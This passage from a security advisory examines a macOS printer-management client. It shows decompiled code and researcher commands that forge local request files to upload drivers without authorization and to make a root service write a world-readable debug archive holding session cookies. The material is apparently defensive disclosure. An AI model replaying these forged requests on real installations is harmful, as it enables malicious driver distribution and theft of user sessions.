 <span style="color: #666666">52</span>             data <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;{}</span><span style="color: #BB6622; font-weight: bold">\t</span><span style="color: #BA2121">{}</span><span style="color: #BB6622; font-weight: bold">\t</span><span style="color: #BA2121">{}</span><span style="color: #BB6622; font-weight: bold">\t</span><span style="color: #BA2121">{}</span><span style="color: #BB6622; font-weight: bold">\t</span><span style="color: #BA2121">{}&#39;</span><span style="color: #666666">.</span>format(upload_id, manufacturer, model, annotation, <span style="color: #008000">self</span><span style="color: #666666">.</span>context<span style="color: #666666">.</span>os_id)
 <span style="color: #666666">53</span>             <span style="color: #008000; font-weight: bold">return</span> (data, <span style="color: #008000">True</span>)
 <span style="color: #666666">54</span> <span style="color: #408080; font-style: italic"># okay decompiling upload_driver.pyc</span>
</pre></div>

<p>The code responsible for the upload process is located at <code>./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/connection/server/upload_driver.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">22</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">upload_driver</span>(local_paths: <span style="color: #008000">list</span>, annotation: <span style="color: #008000">str</span>, context: Context, replace_driver_id: Optional[<span style="color: #008000">int</span>]<span style="color: #666666">=</span><span style="color: #008000">None</span>) <span style="color: #666666">-&gt;</span> <span style="color: #008000">str</span>:
 <span style="color: #666666">23</span>     local_driver_data <span style="color: #666666">=</span> driver<span style="color: #666666">.</span>create_local_driver_data(local_paths)
 <span style="color: #666666">24</span>     model <span style="color: #666666">=</span> local_driver_data<span style="color: #666666">.</span>model
 <span style="color: #666666">25</span>     title <span style="color: #666666">=</span> f<span style="color: #BA2121">&quot;Uploading driver for {local_driver_data.manufacturer} printer: {model}&quot;</span>
 <span style="color: #666666">26</span>     <span style="color: #008000; font-weight: bold">with</span> progress<span style="color: #666666">.</span>progress_or_dummy(title, PROGRESS_STEP_NAMES, context) <span style="color: #008000; font-weight: bold">as</span> (progress_callback):
 <span style="color: #666666">27</span>         <span style="color: #008000; font-weight: bold">with</span> NamedTemporaryFile(mode<span style="color: #666666">=</span><span style="color: #BA2121">&#39;w+b&#39;</span>) <span style="color: #008000; font-weight: bold">as</span> (out_file):
 <span style="color: #666666">28</span>             driver_package_class <span style="color: #666666">=</span> driver<span style="color: #666666">.</span>get_driver_package_class()
 <span style="color: #666666">29</span>             <span style="color: #008000; font-weight: bold">with</span> driver_package_class<span style="color: #666666">.</span>get_upload_package_files(local_driver_data,
 <span style="color: #666666">30</span>               progress_callback<span style="color: #666666">=</span>progress_callback, progress_step<span style="color: #666666">=0</span>) <span style="color: #008000; font-weight: bold">as</span> (upload_package_files):
 <span style="color: #666666">31</span>                 progress_callback<span style="color: #666666">.</span>update_step(<span style="color: #666666">0</span>, <span style="color: #666666">1.0</span>)

<span style="color: #408080; font-style: italic"># [1] a tbz2 file will be created</span>
 <span style="color: #666666">32</span>                 _create_package(out_file, upload_package_files)
 <span style="color: #666666">33</span>             progress_callback<span style="color: #666666">.</span>update_step(<span style="color: #666666">1</span>, <span style="color: #666666">1.0</span>)
 <span style="color: #666666">34</span> 

<span style="color: #408080; font-style: italic"># [2] Upload of the files, class defined in ./PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/connection/server/common.py.</span>
 <span style="color: #666666">35</span>             <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">UploaderCallback</span>(common<span style="color: #666666">.</span>UploaderCallback):
 <span style="color: #666666">36</span>                 driver_id <span style="color: #666666">=</span> <span style="color: #008000">None</span>
 <span style="color: #666666">37</span> 
 <span style="color: #666666">38</span>                 <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">on_size_calculated</span>(<span style="color: #008000">self</span>, total_size, total_fragments):
 <span style="color: #666666">39</span>                     progress_callback<span style="color: #666666">.</span>update_step(<span style="color: #666666">2</span>, <span style="color: #666666">1.0</span>)
 <span style="color: #666666">40</span> 
 <span style="color: #666666">41</span>                 <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">on_upload_id_obtained</span>(<span style="color: #008000">self</span>, upload_id):
 <span style="color: #666666">42</span>                     progress_callback<span style="color: #666666">.</span>update_step(<span style="color: #666666">3</span>, <span style="color: #666666">1.0</span>)
 <span style="color: #666666">43</span> 
 <span style="color: #666666">44</span>                 <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">on_fragment_uploaded</span>(<span style="color: #008000">self</span>, fragment, total_fragments):
 <span style="color: #666666">45</span>                     progress_callback<span style="color: #666666">.</span>update_step(<span style="color: #666666">4</span>, fragment <span style="color: #666666">/</span> total_fragments)
 <span style="color: #666666">46</span> 
 <span style="color: #666666">47</span>                 <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">on_complete</span>(<span style="color: #008000">self</span>, upload_id):
<span style="color: #408080; font-style: italic"># [3] Metadatas sent using _finalize_upload</span>

 <span style="color: #666666">48</span>                     <span style="color: #008000">self</span><span style="color: #666666">.</span>driver_id <span style="color: #666666">=</span> _finalize_upload(local_driver_data,
 <span style="color: #666666">49</span>                       upload_id, annotation, context, replace_driver_id<span style="color: #666666">=</span>replace_driver_id)
 <span style="color: #666666">50</span>                     progress_callback<span style="color: #666666">.</span>update_step(<span style="color: #666666">5</span>, <span style="color: #666666">1.0</span>)
 <span style="color: #666666">51</span> 
 <span style="color: #666666">52</span>             uploader_callback <span style="color: #666666">=</span> UploaderCallback()
 <span style="color: #666666">53</span>             uploader <span style="color: #666666">=</span> common<span style="color: #666666">.</span>Uploader((out_file<span style="color: #666666">.</span>name), model, context, uploader_callback<span style="color: #666666">=</span>uploader_callback)
 <span style="color: #666666">54</span>             uploader<span style="color: #666666">.</span>upload()
 <span style="color: #666666">55</span>             <span style="color: #008000; font-weight: bold">return</span> uploader_callback<span style="color: #666666">.</span>driver_id
[<span style="color: #666666">...</span>]
 <span style="color: #666666">85</span> <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">_finalize_upload</span>(local_driver_data: driver<span style="color: #666666">.</span>LocalDriverData, upload_id: <span style="color: #008000">int</span>, annotation: <span style="color: #008000">str</span>, context: Context, replace_driver_id: Optional[<span style="color: #008000">int</span>]<span style="color: #666666">=</span><span style="color: #008000">None</span>) <span style="color: #666666">-&gt;</span> <span style="color: #008000">str</span>:
 <span style="color: #666666">86</span>     params <span style="color: #666666">=</span> {<span style="color: #BA2121">&#39;confirmupload&#39;</span>:<span style="color: #666666">1</span>,
 <span style="color: #666666">87</span>      <span style="color: #BA2121">&#39;uploadid&#39;</span>:upload_id,
 <span style="color: #666666">88</span>      <span style="color: #BA2121">&#39;packagetype&#39;</span>:context<span style="color: #666666">.</span>os_driver_package_type,
 <span style="color: #666666">89</span>      <span style="color: #BA2121">&#39;oslist&#39;</span>:context<span style="color: #666666">.</span>os_id,
 <span style="color: #666666">90</span>      <span style="color: #BA2121">&#39;printprocess&#39;</span>:<span style="color: #BA2121">&#39;&#39;</span>,
 <span style="color: #666666">91</span>      <span style="color: #BA2121">&#39;driverdate&#39;</span>:local_driver_data<span style="color: #666666">.</span>date<span style="color: #666666">.</span>strftime(<span style="color: #BA2121">&#39;%m/</span><span style="color: #BB6688; font-weight: bold">%d</span><span style="color: #BA2121">/%Y&#39;</span>),
 <span style="color: #666666">92</span>      <span style="color: #BA2121">&#39;driverversion&#39;</span>:local_driver_data<span style="color: #666666">.</span>version,
 <span style="color: #666666">93</span>      <span style="color: #BA2121">&#39;make&#39;</span>:local_driver_data<span style="color: #666666">.</span>manufacturer,
 <span style="color: #666666">94</span>      <span style="color: #BA2121">&#39;modelname&#39;</span>:local_driver_data<span style="color: #666666">.</span>model,
 <span style="color: #666666">95</span>      <span style="color: #BA2121">&#39;annotation&#39;</span>:annotation,
 <span style="color: #666666">96</span>      <span style="color: #BA2121">&#39;inffile&#39;</span>:local_driver_data<span style="color: #666666">.</span>local_paths[<span style="color: #666666">0</span>]}
 <span style="color: #666666">97</span>     <span style="color: #008000; font-weight: bold">if</span> replace_driver_id <span style="color: #AA22FF; font-weight: bold">is</span> <span style="color: #AA22FF; font-weight: bold">not</span> <span style="color: #008000">None</span>:
 <span style="color: #666666">98</span>         params[<span style="color: #BA2121">&#39;existing_driver_id&#39;</span>] <span style="color: #666666">=</span> replace_driver_id
 <span style="color: #666666">99</span>     <span style="color: #008000; font-weight: bold">try</span>:
<span style="color: #666666">100</span>         response <span style="color: #666666">=</span> common<span style="color: #666666">.</span>request_path(<span style="color: #BA2121">&#39;GET&#39;</span>, <span style="color: #BA2121">&#39;client/gateway.php&#39;</span>, context, params<span style="color: #666666">=</span>params, timeout<span style="color: #666666">=600</span>)
<span style="color: #666666">101</span>         result <span style="color: #666666">=</span> ElementTree<span style="color: #666666">.</span>fromstring(response<span style="color: #666666">.</span>text)
<span style="color: #666666">102</span>         <span style="color: #008000; font-weight: bold">if</span> result<span style="color: #666666">.</span>attrib[<span style="color: #BA2121">&#39;code&#39;</span>] <span style="color: #666666">!=</span> <span style="color: #BA2121">&#39;1&#39;</span>:
<span style="color: #666666">103</span>             description <span style="color: #666666">=</span> result<span style="color: #666666">.</span>find(<span style="color: #BA2121">&#39;./desc&#39;</span>)<span style="color: #666666">.</span>text
<span style="color: #666666">104</span>             <span style="color: #008000; font-weight: bold">raise</span> common<span style="color: #666666">.</span>ServerError(description, description)
<span style="color: #666666">105</span>         <span style="color: #008000; font-weight: bold">return</span> result<span style="color: #666666">.</span>find(<span style="color: #BA2121">&#39;./desc&#39;</span>)<span style="color: #666666">.</span>text
<span style="color: #666666">106</span>     <span style="color: #008000; font-weight: bold">except</span> exceptions<span style="color: #666666">.</span>Timeout:
<span style="color: #666666">107</span>         message <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;When trying to finalize the driver upload, the server connection timed out and was closed.  However, the driver will probably be available after the database operation is completed.&#39;</span>
<span style="color: #666666">108</span>         <span style="color: #008000; font-weight: bold">raise</span> common<span style="color: #666666">.</span>ServerError(message)
</pre></div>

<p>Trying to upload a new driver - the HTTPS request was blocked using Burp Suite Pro, so it was not sent to the remote server on [redacted].printercloud10.com (the SaaS version was out of scope during the security assessment of the macOS version).</p>
<p>By forging a custom request, it is possible to force the upload of a new driver using the API.</p>
<p>Creation of a new request inside <code>/opt/PrinterInstallerClient/tmp/requests/</code> to upload a new driver:</p>
<pre><code>user@laptop requests % cat /tmp/test.file
UPLOAD_DRIVER
aHR0cHM6
W3JlZGFjdGVkXS5wcmludGVyY2xvdWQxMC5jb20=
Lw==
UEhQU0VTU0lEPWM3Mjk2OGQ2ZTY4ZDc4MWE4MDA1Mjg3NTgwMjliMjMyO1BIUFNFU1NJRD1jNzI5NjhkNmU2OGQ3ODFhODAwNTI4NzU4MDI5YjIzMjtYU1JGLVRPS0VOPWV5SnBkaUk2SWx0eVpXUmhZM1JsWkYwaUxDSjJZV3gxWlNJNklsdHlaV1JoWTNSbFpGMGlMQ0p0WVdNaU9pSmJjbVZrWVdOMFpXUmRJbjA9O2xhcmF2ZWxfc2Vzc2lvbj1leUpwZGlJNklsdHlaV1JoWTNSbFpGMGlMQ0oyWVd4MVpTSTZJbHR5WldSaFkzUmxaRjBpTENKdFlXTWlPaUpiY21Wa1lXTjBaV1JkSW4wPTtQSFBTRVNTSUQ9YzcyOTY4ZDZlNjhkNzgxYTgwMDUyODc1ODAyOWIyMzI7WFNSRi1UT0tFTj1leUpwZGlJNklsdHlaV1JoWTNSbFpGMGlMQ0oyWVd4MVpTSTZJbHR5WldSaFkzUmxaRjBpTENKdFlXTWlPaUpiY21Wa1lXTjBaV1JkSW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbHR5WldSaFkzUmxaRjBpTENKMllXeDFaU0k2SWx0eVpXUmhZM1JsWkYwaUxDSnRZV01pT2lKYmNtVmtZV04wWldSZEluMD07UEhQU0VTU0lEPWM3Mjk2OGQ2ZTY4ZDc4MWE4MDA1Mjg3NTgwMjliMjMyO1hTUkYtVE9LRU49ZXlKcGRpSTZJbHR5WldSaFkzUmxaRjBpTENKMllXeDFaU0k2SWx0eVpXUmhZM1JsWkYwaUxDSnRZV01pT2lKYmNtVmtZV04wWldSZEluMD07bGFyYXZlbF9zZXNzaW9uPWV5SnBkaUk2SWx0eVpXUmhZM1JsWkYwaUxDSjJZV3gxWlNJNklsdHlaV1JoWTNSbFpGMGlMQ0p0WVdNaU9pSmJjbVZrWVdOMFpXUmRJbjA9Owo=
cHJpbnRlcg==
cDk3Mg==

LTE=
user@laptop requests % cp /tmp/test.file /opt/PrinterInstallerClient/tmp/requests/26TJdkfj0923lkaFlkSDSDn-202112091901313
user@laptop requests %
</code></pre>
<p>After this file is created inside <code>/opt/PrinterInstallerClient/tmp/requests/</code>, a new task will be created:</p>
<pre><code>2021-12-10 18:37:55,492 (INFO): Creating task:
Command: 'UPLOAD_DRIVER'
Arguments: https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1
User ID: 501
Group ID: 20
Use UI: True
Origin: 'INTERFACE'
2021-12-10 18:37:55,495 (DEBUG): Checking if home URL should be changed to: https://[redacted].printercloud10.com/
2021-12-10 18:37:55,498 (DEBUG): Getting clientsettings.dat from server (or using cache at /opt/PrinterInstallerClient/tmp/data/clientsettings.dat, if up-to-date)
2021-12-10 18:37:55,532 (DEBUG): Attempting to open: https://[redacted].printercloud10.com/client/gateway.php?redirect=1&amp;ips=192.168.100.28%2C192.168.1.100%2C100.64.0.1&amp;file=/clientsettings.dat&amp;PPPSETID=printer&amp;urlc=&amp;idc=p972&amp;if_no_login=
</code></pre>
<p>A popup will then appear on the laptop, asking to choose a driver to add to the repository:</p>
<p><img alt="" src="images/2025-vasion-report-0-mac-upload-01.png" /></p>
<p><a href="images/2025-vasion-report-0-mac-upload-01-full.png">Click here for full image</a></p>
<p>After choosing a driver, the upload process starts:</p>
<p><img alt="" src="images/2025-vasion-report-0-mac-upload-02.png" /></p>
<p>During the <code>obtaining upload ID</code>, we can see the request is sent to the remote server:</p>
<p>Using Burp, the request is intercepted and blocked. However, the investigation was pot pursued thereafter because testing the remote server is not allowed. No malicious requests were sent to the remote server.</p>
<p><img alt="" src="images/2025-vasion-report-0-mac-upload-03.png" /></p>
<p><a href="images/2025-vasion-report-0-mac-upload-03-full.png">Click here for full image</a></p>
<p>If the request was not dropped, the process would likely have continued and a new driver would have been uploaded on the website.</p>
<p>After analyzing the bzip2 temporary archive that was generated in <code>/tmp</code> and supposed to be sent to the remote server, it was found out that this archive contains multiple programs that will then be provided to other users:</p>
<pre><code>1/Contents/Applications/HP Alerts.app/Contents/MacOS/HP Alerts:                       Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
1/Contents/Applications/HP Email Alerts.app/Contents/MacOS/HP Email Alerts:           Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
1/Contents/Applications/HP Event Status.app/Contents/MacOS/HP Event Status:           Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
1/Contents/Applications/LegacyScanEventHandler.app/Contents/MacOS/LegacyScanEventHandler: Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
1/Contents/Frameworks/HSDCommonLib.framework/Versions/A/Runtime/hppaauthtool:         Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
1/Contents/MacOS/HP Utility:                                                          Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
1/Contents/Resources/launcher:                                                        Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
3/Contents/MacOS/Inkjet2:                                                             Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK&gt;
4:                                                                                    Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL&gt;
5/HPDeviceModel.framework/Versions/4.0/Frameworks/Core.framework/Versions/4.0/XPCServices/com.hp.devicemodel.TransportProxy.xpc/Contents/MacOS/com.hp.devicemodel.TransportProxy:  Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE|NO_HEAP_EXECUTION&gt;] [x86_64:Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;]
5/HPDeviceModel.framework/Versions/4.0/Runtime/hpdot4d.app/Contents/MacOS/hpdot4d:    Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE|NO_HEAP_EXECUTION&gt;] [x86_64:Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;]
5/HPDeviceModel.framework/Versions/4.0/Tools/dmfdsclient:                             Mach-O universal binary with 2 architectures: [i386:Mach-O i386 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE|NO_HEAP_EXECUTION&gt;] [x86_64:Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;]
5/HPDeviceMonitoring.framework/Versions/1.0/Helpers/HP Device Monitor Manager.app/Contents/Library/LoginItems/HP Device Monitor.app/Contents/MacOS/HP Device Monitor:  Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
5/HPDeviceMonitoring.framework/Versions/1.0/Helpers/HP Device Monitor Manager.app/Contents/MacOS/HP Device Monitor Manager:                                                                                      Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
5/HPDM.framework/Versions/5.0/Runtime/hpdot4d.app/Contents/MacOS/hpdot4d:             Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
5/HPDM.framework/Versions/5.0/XPCServices/com.hp.dm.5.TransportProxy.xpc/Contents/MacOS/com.hp.dm.5.TransportProxy:                                                                                              Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
6/Contents/MacOS/commandtohp:                                                         Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|PIE&gt;
7/Contents/MacOS/pdftopdf:                                                            Mach-O 64-bit x86_64 executable, flags:&lt;NOUNDEFS|DYLDLINK|TWOLEVEL|BINDS_TO_WEAK|PIE&gt;
</code></pre>
<p>An attacker with admin privileges can modify this archive to insert malicious programs.</p>
<p>It is possible to update/change the drivers that will be provided to other users.       </p>
<p>In the security assessment performed in 2022, it was proven that it was possible to upload malicious drivers to the VA/SaaS versions without admin privileges.</p>
<p><a id="mac-insecure-generation-debug-archive"></a></p>
<h2>Details - Insecure generation of debug archive</h2>
<p>The file <code>/opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/bundle_debug.pyc.py</code> contains instructions to generate a zip archive when the task <code>BUNDLE_DEBUG</code> is created. Using the API without authentication, it is possible to generate a debug archive as root. The resulting archive will be world-readable and contains secrets.</p>
<p>Content of <code>/opt/PrinterInstallerClient/service_interface/lib/python3.6/printer_installer/client/service/process/task/bundle_debug.pyc.py</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">12</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">BundleDebug</span>(task<span style="color: #666666">.</span>Task):
 <span style="color: #666666">13</span>     request_name <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;BUNDLE_DEBUG&#39;</span>
 <span style="color: #666666">14</span>     never_execute_for_all_users <span style="color: #666666">=</span> <span style="color: #008000">True</span> 
 <span style="color: #666666">15</span>     never_use_ui <span style="color: #666666">=</span> <span style="color: #008000">True</span> 
[<span style="color: #666666">...</span>]
 <span style="color: #666666">44</span>     <span style="color: #008000; font-weight: bold">def</span> <span style="color: #0000FF">__call</span>(<span style="color: #008000">self</span>):
 <span style="color: #666666">45</span>         zip_name <span style="color: #666666">=</span> datetime<span style="color: #666666">.</span>datetime<span style="color: #666666">.</span>now()<span style="color: #666666">.</span>strftime(<span style="color: #BA2121">&#39;PrinterLogic-Debug-%Y%m</span><span style="color: #BB6688; font-weight: bold">%d</span><span style="color: #BA2121">%H%M%S.zip&#39;</span>)
 <span style="color: #666666">46</span>         zip_path <span style="color: #666666">=</span> os<span style="color: #666666">.</span>path<span style="color: #666666">.</span>join(<span style="color: #008000">self</span><span style="color: #666666">.</span>_output_directory, zip_name)
 <span style="color: #666666">47</span>         <span style="color: #008000; font-weight: bold">with</span> zipfile<span style="color: #666666">.</span>ZipFile(zip_path, <span style="color: #BA2121">&#39;w&#39;</span>, compression<span style="color: #666666">=</span>(zipfile<span style="color: #666666">.</span>ZIP_BZIP2)):
</pre></div>

<p>Creating a <code>BUNDLE_DEBUG</code> task:</p>
<pre><code>user@laptop ~ % echo -n 'BUNDLE_DEBUG'  &gt; /opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211209191990
</code></pre>
<p>A task will be created:</p>
<pre><code>2021-12-10 20:17:10,158 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/0gAds9DkaG9934-20211209191990'
2021-12-10 20:17:10,163 (INFO): Received request: BUNDLE_DEBUG
2021-12-10 20:17:10,166 (INFO): Creating task:
Command: 'BUNDLE_DEBUG'
Arguments: 
User ID: 501
Group ID: 20
Use UI: False
Origin: 'INTERNAL'
</code></pre>
<p>And a resulting file will be created in <code>/opt/PrinterInstallerClient/bin</code>:</p>
<pre>
root@laptop bin # ls -la /opt/PrinterInstallerClient/bin
total 1832
drwxr-xr-x  20 root  wheel     640 Dec 10 20:17 .
drwxr-xr-x  13 root  wheel     416 Dec  9 20:20 ..
<font color=red>-r--r--r--   1 root  wheel  814802 Dec 10 20:17 PrinterLogic-Debug-20211210201710.zip</font>
-r-xr-x---   1 root  wheel     215 Mar  5  2021 ad_override_file.sh
-r-xr-x---   1 root  wheel     269 Mar  5  2021 bundle_debug.sh
-r-xr-x---   1 root  wheel     211 Mar  5  2021 configure_proxy.sh
-r-xr-x---   1 root  wheel     165 Mar  5  2021 disable_home_url_security.sh
-r-xr-x---   1 root  wheel     233 Mar  5  2021 disable_ipp_queue_interpretation.sh
-r-xr-x---   1 root  wheel     209 Mar  5  2021 disable_updates.sh
-r-xr-x---   1 root  wheel     243 Mar  5  2021 ignore_certificate_errors.sh
-r-xr-x---   1 root  wheel    3343 Mar  5  2021 install_fips_openssl.sh
-r-xr-x---   1 root  wheel     214 Mar  5  2021 kerberos_timeout.sh
-r-xr-x---   1 root  wheel     205 Mar  5  2021 lock_home_url.sh
-r-xr-x---   1 root  wheel     188 Mar  5  2021 refresh.sh
-r-xr-x---   1 root  wheel     725 Mar  5  2021 restart_service.sh
-r-xr-x---   1 root  wheel     197 Mar  5  2021 set_home_url.sh
-r-xr-x---   1 root  wheel     332 Mar  5  2021 toggle_debug_mode.sh
-r-xr-x---   1 root  wheel    1559 Mar  5  2021 uninstall.sh
-r-xr-x---   1 root  wheel     212 Mar  5  2021 use_authorization_code.sh
-r-xr-x---   1 root  wheel     210 Mar  5  2021 user_from_file.sh
root@laptop bin #
</pre>

<p>This archive is world-readable and contains some files.</p>
<p>Content of <code>PrinterLogic-Debug-20211210201710.zip</code>:</p>
<pre><code>kali% 7z l PrinterLogic-Debug-20211210201710.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i3-5005U CPU @ 2.00GHz (306D4),ASM,AES-NI)

Scanning the drive for archives:
1 file, 814802 bytes (796 KiB)

Listing archive: PrinterLogic-Debug-20211210201710.zip

--
Path = PrinterLogic-Debug-20211210201710.zip
Type = zip
Physical Size = 814802

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2021-12-10 20:17:10 .....          269          261  basic_info.txt
2021-12-10 19:49:56 .....         2820         1739  configuration.json
2021-12-10 19:15:16 D....            0            0  data
2021-12-09 18:39:28 .....         1125          617  data/printer_502_m101664.xml
2021-12-07 18:34:50 .....         1074          611  data/printer_488_m101664.xml
2021-12-07 18:43:36 .....         1063          598  data/printer_973_m101664.xml
2021-12-09 18:40:34 .....         1130          620  data/printer_501_m101664.xml
2021-12-09 18:38:40 .....         1096          609  data/printer_499_m101664.xml
2021-12-07 21:38:18 .....         1063          597  data/printer_972_m101664.xml
2021-12-09 16:27:12 .....        15977         6254  data/clientsettings.dat
2021-12-09 18:39:10 .....         1074          596  data/printer_503_m101664.xml
2021-12-09 18:32:38 .....         1102          605  data/printer_500_m101664.xml
2021-12-07 16:53:40 D....            0            0  commands
2021-12-09 19:28:40 D....            0            0  log
2021-12-10 19:49:56 .....           31           70  log/HOMEURL
2021-12-10 17:32:40 .....            2           39  log/service_last_exit
2021-12-10 20:17:10 .....      5261882       308735  log/service_info.log
2021-12-10 20:14:22 .....       114212         4151  log/launchd_service_error.log
2021-12-10 20:17:10 .....      6126626       388599  log/service.log
2021-12-10 19:57:38 .....        36208         2789  log/interface.log
2021-12-10 17:32:40 .....        10605         1464  log/launchd_service.log
2021-12-10 20:15:28 .....       241867        80421  log/cpu.prof
2021-12-10 17:35:02 .....       161358         7113  log/PrinterLogicIdpAuthentication.log
2021-12-07 16:53:40 .....         2068          697  log/install.log
2021-12-09 18:42:44 D....            0            0  printers
2021-12-10 20:12:26 .....          754          428  printers/DIRECT_IP_426.json
2021-12-10 20:12:26 .....          722          422  printers/DIRECT_IP_689.json
2021-12-10 20:12:26 .....          758          425  printers/DIRECT_IP_427.json
2021-12-10 20:12:26 .....          738          429  printers/DIRECT_IP_413.json
2021-12-10 20:17:24 .....          735          362  checkin_info.xml
2021-12-10 20:17:24 .....         3219          749  all_printers.txt
2021-12-07 18:35:52 D....            0            0  cups
2021-12-09 18:42:42 .....         1852          320  cups/access_log
2021-12-10 20:17:18 .....          247          210  job_record.json
2021-12-10 20:17:24 .....            0           14  missing__pull_print_release_record.json
2021-12-10 20:17:24 .....            0           14  missing__service_client
------------------- ----- ------------ ------------  ------------------------
2021-12-10 20:17:24           11991677       810558  31 files, 5 folders
kali%
</code></pre>
<p>The <code>configuration.json</code> file contains:</p>
<ul>
<li>Valid PHP session:</li>
</ul>
<pre>
kali% cat configuration.json 
{
  "home_url": "https://[redacted].printercloud10.com/",
  "home_url_locked": null,
  "session_id": "PHPSESSID=c72968d6e68d781a800528758029b232;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;",
</pre>

<ul>
